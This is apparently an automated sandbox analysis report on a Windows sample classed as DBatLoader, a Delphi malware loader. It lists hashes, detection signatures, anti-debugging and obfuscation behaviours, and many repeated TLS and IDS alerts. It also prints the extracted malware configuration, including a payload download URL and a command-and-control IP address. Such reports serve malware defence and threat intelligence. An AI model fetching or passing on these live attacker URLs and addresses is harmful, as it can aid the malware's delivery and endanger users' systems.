Edit tour

Windows Analysis Report
JDQS879kiy.exe

Overview

General Information

Sample name:	JDQS879kiy.exe renamed because original name is a hash value
Original sample name:	e9802e45a66c963ced0e7c60c899c5cd.exe
Analysis ID:	1590518
MD5:	e9802e45a66c963ced0e7c60c899c5cd
SHA1:	cd4eee552fb5b4326f5e1bc2d2b16779639d5efb
SHA256:	3cce82eff14a78c73dbc3f64a7abc6476d9b184763a5f6713ce68d6ee8df75f8
Tags:	exeuser-abuse_ch
Infos:

Detection

DBatLoader

Score:	76
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected DBatLoader

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

JA3 SSL client fingerprint seen in connection with other malware

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

JDQS879kiy.exe (PID: 7852 cmdline: "C:\Users\user\Desktop\JDQS879kiy.exe" MD5: E9802E45A66C963CED0E7C60C899C5CD)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://amazonenviro.com/245_Nsltarpncon"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2622490407.0000000002356000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.2636506576.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.2.JDQS879kiy.exe.23565a8.1.raw.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.JDQS879kiy.exe.2840000.2.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
0.2.JDQS879kiy.exe.23565a8.1.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T08:24:19.092947+0100	2028371	3	Unknown Traffic	192.168.2.7	49736	166.62.27.188	443	TCP
2025-01-14T08:24:20.527212+0100	2028371	3	Unknown Traffic	192.168.2.7	49753	166.62.27.188	443	TCP
2025-01-14T08:24:22.145586+0100	2028371	3	Unknown Traffic	192.168.2.7	49765	166.62.27.188	443	TCP
2025-01-14T08:24:23.795612+0100	2028371	3	Unknown Traffic	192.168.2.7	49777	166.62.27.188	443	TCP
2025-01-14T08:24:25.420192+0100	2028371	3	Unknown Traffic	192.168.2.7	49789	166.62.27.188	443	TCP
2025-01-14T08:24:27.071616+0100	2028371	3	Unknown Traffic	192.168.2.7	49801	166.62.27.188	443	TCP
2025-01-14T08:24:28.708256+0100	2028371	3	Unknown Traffic	192.168.2.7	49813	166.62.27.188	443	TCP
2025-01-14T08:24:30.409492+0100	2028371	3	Unknown Traffic	192.168.2.7	49825	166.62.27.188	443	TCP
2025-01-14T08:24:32.054339+0100	2028371	3	Unknown Traffic	192.168.2.7	49840	166.62.27.188	443	TCP
2025-01-14T08:24:33.667962+0100	2028371	3	Unknown Traffic	192.168.2.7	49853	166.62.27.188	443	TCP
2025-01-14T08:24:35.286449+0100	2028371	3	Unknown Traffic	192.168.2.7	49864	166.62.27.188	443	TCP
2025-01-14T08:24:36.904952+0100	2028371	3	Unknown Traffic	192.168.2.7	49874	166.62.27.188	443	TCP
2025-01-14T08:24:38.512054+0100	2028371	3	Unknown Traffic	192.168.2.7	49885	166.62.27.188	443	TCP
2025-01-14T08:24:40.131971+0100	2028371	3	Unknown Traffic	192.168.2.7	49897	166.62.27.188	443	TCP
2025-01-14T08:24:41.800709+0100	2028371	3	Unknown Traffic	192.168.2.7	49909	166.62.27.188	443	TCP
2025-01-14T08:24:43.425646+0100	2028371	3	Unknown Traffic	192.168.2.7	49921	166.62.27.188	443	TCP
2025-01-14T08:24:45.717793+0100	2028371	3	Unknown Traffic	192.168.2.7	49933	166.62.27.188	443	TCP
2025-01-14T08:24:47.342261+0100	2028371	3	Unknown Traffic	192.168.2.7	49945	166.62.27.188	443	TCP
2025-01-14T08:24:48.958263+0100	2028371	3	Unknown Traffic	192.168.2.7	49957	166.62.27.188	443	TCP
2025-01-14T08:24:50.737446+0100	2028371	3	Unknown Traffic	192.168.2.7	49969	166.62.27.188	443	TCP
2025-01-14T08:24:52.373429+0100	2028371	3	Unknown Traffic	192.168.2.7	49981	166.62.27.188	443	TCP
2025-01-14T08:24:53.993249+0100	2028371	3	Unknown Traffic	192.168.2.7	49994	166.62.27.188	443	TCP
2025-01-14T08:24:55.608255+0100	2028371	3	Unknown Traffic	192.168.2.7	50005	166.62.27.188	443	TCP
2025-01-14T08:24:57.227320+0100	2028371	3	Unknown Traffic	192.168.2.7	50017	166.62.27.188	443	TCP
2025-01-14T08:24:58.834774+0100	2028371	3	Unknown Traffic	192.168.2.7	50022	166.62.27.188	443	TCP
2025-01-14T08:25:00.441925+0100	2028371	3	Unknown Traffic	192.168.2.7	50024	166.62.27.188	443	TCP
2025-01-14T08:25:02.075925+0100	2028371	3	Unknown Traffic	192.168.2.7	50026	166.62.27.188	443	TCP
2025-01-14T08:25:03.831357+0100	2028371	3	Unknown Traffic	192.168.2.7	50028	166.62.27.188	443	TCP
2025-01-14T08:25:05.455631+0100	2028371	3	Unknown Traffic	192.168.2.7	50030	166.62.27.188	443	TCP
2025-01-14T08:25:07.090358+0100	2028371	3	Unknown Traffic	192.168.2.7	50032	166.62.27.188	443	TCP
2025-01-14T08:25:08.723466+0100	2028371	3	Unknown Traffic	192.168.2.7	50034	166.62.27.188	443	TCP
2025-01-14T08:25:10.334892+0100	2028371	3	Unknown Traffic	192.168.2.7	50037	166.62.27.188	443	TCP
2025-01-14T08:25:11.963031+0100	2028371	3	Unknown Traffic	192.168.2.7	50039	166.62.27.188	443	TCP
2025-01-14T08:25:13.576310+0100	2028371	3	Unknown Traffic	192.168.2.7	50041	166.62.27.188	443	TCP
2025-01-14T08:25:15.177296+0100	2028371	3	Unknown Traffic	192.168.2.7	50043	166.62.27.188	443	TCP
2025-01-14T08:25:16.764729+0100	2028371	3	Unknown Traffic	192.168.2.7	50045	166.62.27.188	443	TCP
2025-01-14T08:25:18.367077+0100	2028371	3	Unknown Traffic	192.168.2.7	50047	166.62.27.188	443	TCP
2025-01-14T08:25:19.993113+0100	2028371	3	Unknown Traffic	192.168.2.7	50049	166.62.27.188	443	TCP
2025-01-14T08:25:21.590204+0100	2028371	3	Unknown Traffic	192.168.2.7	50051	166.62.27.188	443	TCP
2025-01-14T08:25:23.220527+0100	2028371	3	Unknown Traffic	192.168.2.7	50053	166.62.27.188	443	TCP
2025-01-14T08:25:24.839729+0100	2028371	3	Unknown Traffic	192.168.2.7	50055	166.62.27.188	443	TCP
2025-01-14T08:25:26.432785+0100	2028371	3	Unknown Traffic	192.168.2.7	50057	166.62.27.188	443	TCP
2025-01-14T08:25:28.044816+0100	2028371	3	Unknown Traffic	192.168.2.7	50059	166.62.27.188	443	TCP
2025-01-14T08:25:29.646269+0100	2028371	3	Unknown Traffic	192.168.2.7	50061	166.62.27.188	443	TCP
2025-01-14T08:25:31.265412+0100	2028371	3	Unknown Traffic	192.168.2.7	50063	166.62.27.188	443	TCP
2025-01-14T08:25:32.866485+0100	2028371	3	Unknown Traffic	192.168.2.7	50065	166.62.27.188	443	TCP
2025-01-14T08:25:34.498486+0100	2028371	3	Unknown Traffic	192.168.2.7	50067	166.62.27.188	443	TCP
2025-01-14T08:25:36.129137+0100	2028371	3	Unknown Traffic	192.168.2.7	50069	166.62.27.188	443	TCP
2025-01-14T08:25:37.762164+0100	2028371	3	Unknown Traffic	192.168.2.7	50071	166.62.27.188	443	TCP
2025-01-14T08:25:39.379253+0100	2028371	3	Unknown Traffic	192.168.2.7	50073	166.62.27.188	443	TCP
2025-01-14T08:25:41.101780+0100	2028371	3	Unknown Traffic	192.168.2.7	50075	166.62.27.188	443	TCP
2025-01-14T08:25:42.727228+0100	2028371	3	Unknown Traffic	192.168.2.7	50077	166.62.27.188	443	TCP
2025-01-14T08:25:44.331133+0100	2028371	3	Unknown Traffic	192.168.2.7	50079	166.62.27.188	443	TCP
2025-01-14T08:25:45.925793+0100	2028371	3	Unknown Traffic	192.168.2.7	50081	166.62.27.188	443	TCP
2025-01-14T08:25:47.523448+0100	2028371	3	Unknown Traffic	192.168.2.7	50083	166.62.27.188	443	TCP
2025-01-14T08:25:49.146879+0100	2028371	3	Unknown Traffic	192.168.2.7	50085	166.62.27.188	443	TCP
2025-01-14T08:25:50.761138+0100	2028371	3	Unknown Traffic	192.168.2.7	50087	166.62.27.188	443	TCP
2025-01-14T08:25:52.391696+0100	2028371	3	Unknown Traffic	192.168.2.7	50089	166.62.27.188	443	TCP
2025-01-14T08:25:53.995868+0100	2028371	3	Unknown Traffic	192.168.2.7	50091	166.62.27.188	443	TCP
2025-01-14T08:25:55.595114+0100	2028371	3	Unknown Traffic	192.168.2.7	50093	166.62.27.188	443	TCP
2025-01-14T08:25:57.206028+0100	2028371	3	Unknown Traffic	192.168.2.7	50095	166.62.27.188	443	TCP
2025-01-14T08:25:58.804789+0100	2028371	3	Unknown Traffic	192.168.2.7	50097	166.62.27.188	443	TCP
2025-01-14T08:26:00.427630+0100	2028371	3	Unknown Traffic	192.168.2.7	50099	166.62.27.188	443	TCP
2025-01-14T08:26:02.053407+0100	2028371	3	Unknown Traffic	192.168.2.7	50101	166.62.27.188	443	TCP
2025-01-14T08:26:03.685391+0100	2028371	3	Unknown Traffic	192.168.2.7	50103	166.62.27.188	443	TCP
2025-01-14T08:26:05.321840+0100	2028371	3	Unknown Traffic	192.168.2.7	50105	166.62.27.188	443	TCP
2025-01-14T08:26:06.930971+0100	2028371	3	Unknown Traffic	192.168.2.7	50107	166.62.27.188	443	TCP
2025-01-14T08:26:08.575370+0100	2028371	3	Unknown Traffic	192.168.2.7	50109	166.62.27.188	443	TCP
2025-01-14T08:26:10.299114+0100	2028371	3	Unknown Traffic	192.168.2.7	50111	166.62.27.188	443	TCP
2025-01-14T08:26:11.895894+0100	2028371	3	Unknown Traffic	192.168.2.7	50113	166.62.27.188	443	TCP
2025-01-14T08:26:13.493604+0100	2028371	3	Unknown Traffic	192.168.2.7	50115	166.62.27.188	443	TCP
2025-01-14T08:26:15.115309+0100	2028371	3	Unknown Traffic	192.168.2.7	50117	166.62.27.188	443	TCP
2025-01-14T08:26:16.712923+0100	2028371	3	Unknown Traffic	192.168.2.7	50119	166.62.27.188	443	TCP
2025-01-14T08:26:18.325954+0100	2028371	3	Unknown Traffic	192.168.2.7	50121	166.62.27.188	443	TCP
2025-01-14T08:26:19.976479+0100	2028371	3	Unknown Traffic	192.168.2.7	50123	166.62.27.188	443	TCP
2025-01-14T08:26:21.590786+0100	2028371	3	Unknown Traffic	192.168.2.7	50125	166.62.27.188	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: JDQS879kiy.exe

Malware Configuration Extractor: DBatLoader {"Download Url": ["https://amazonenviro.com/245_Nsltarpncon"]}

Multi AV Scanner detection for submitted file

Source: JDQS879kiy.exe	Virustotal: Detection: 79%			Perma Link
Source: JDQS879kiy.exe	ReversingLabs: Detection: 68%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: JDQS879kiy.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49777 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49864 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49885 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49897 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49945 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49981 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50067 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50083 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50097 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50101 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50119 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 166.62.27.188:443 -> 192.168.2.7:50125 version: TLS 1.2

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_028458B4 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

0_2_028458B4

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://amazonenviro.com/245_Nsltarpncon

Source: C:\Users\user\Desktop\JDQS879kiy.exe

Code function: 0_2_0285E72C InternetCheckConnectionA,

0_2_0285E72C

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49736 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49753 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49765 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49777 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49789 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49801 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49813 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49853 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49825 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49864 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49840 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49897 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49909 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49885 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49933 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49874 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49957 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49969 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49921 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49981 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50022 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50039 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50055 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50059 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50005 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50034 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50077 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50024 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50073 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50095 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50097 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50093 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50041 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50065 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50047 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50071 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50061 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50085 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50087 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50115 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50043 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50105 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50083 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50079 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50109 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50045 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50101 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49945 -> 166.62.27.188:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50028 -> 166.62.27.188:443
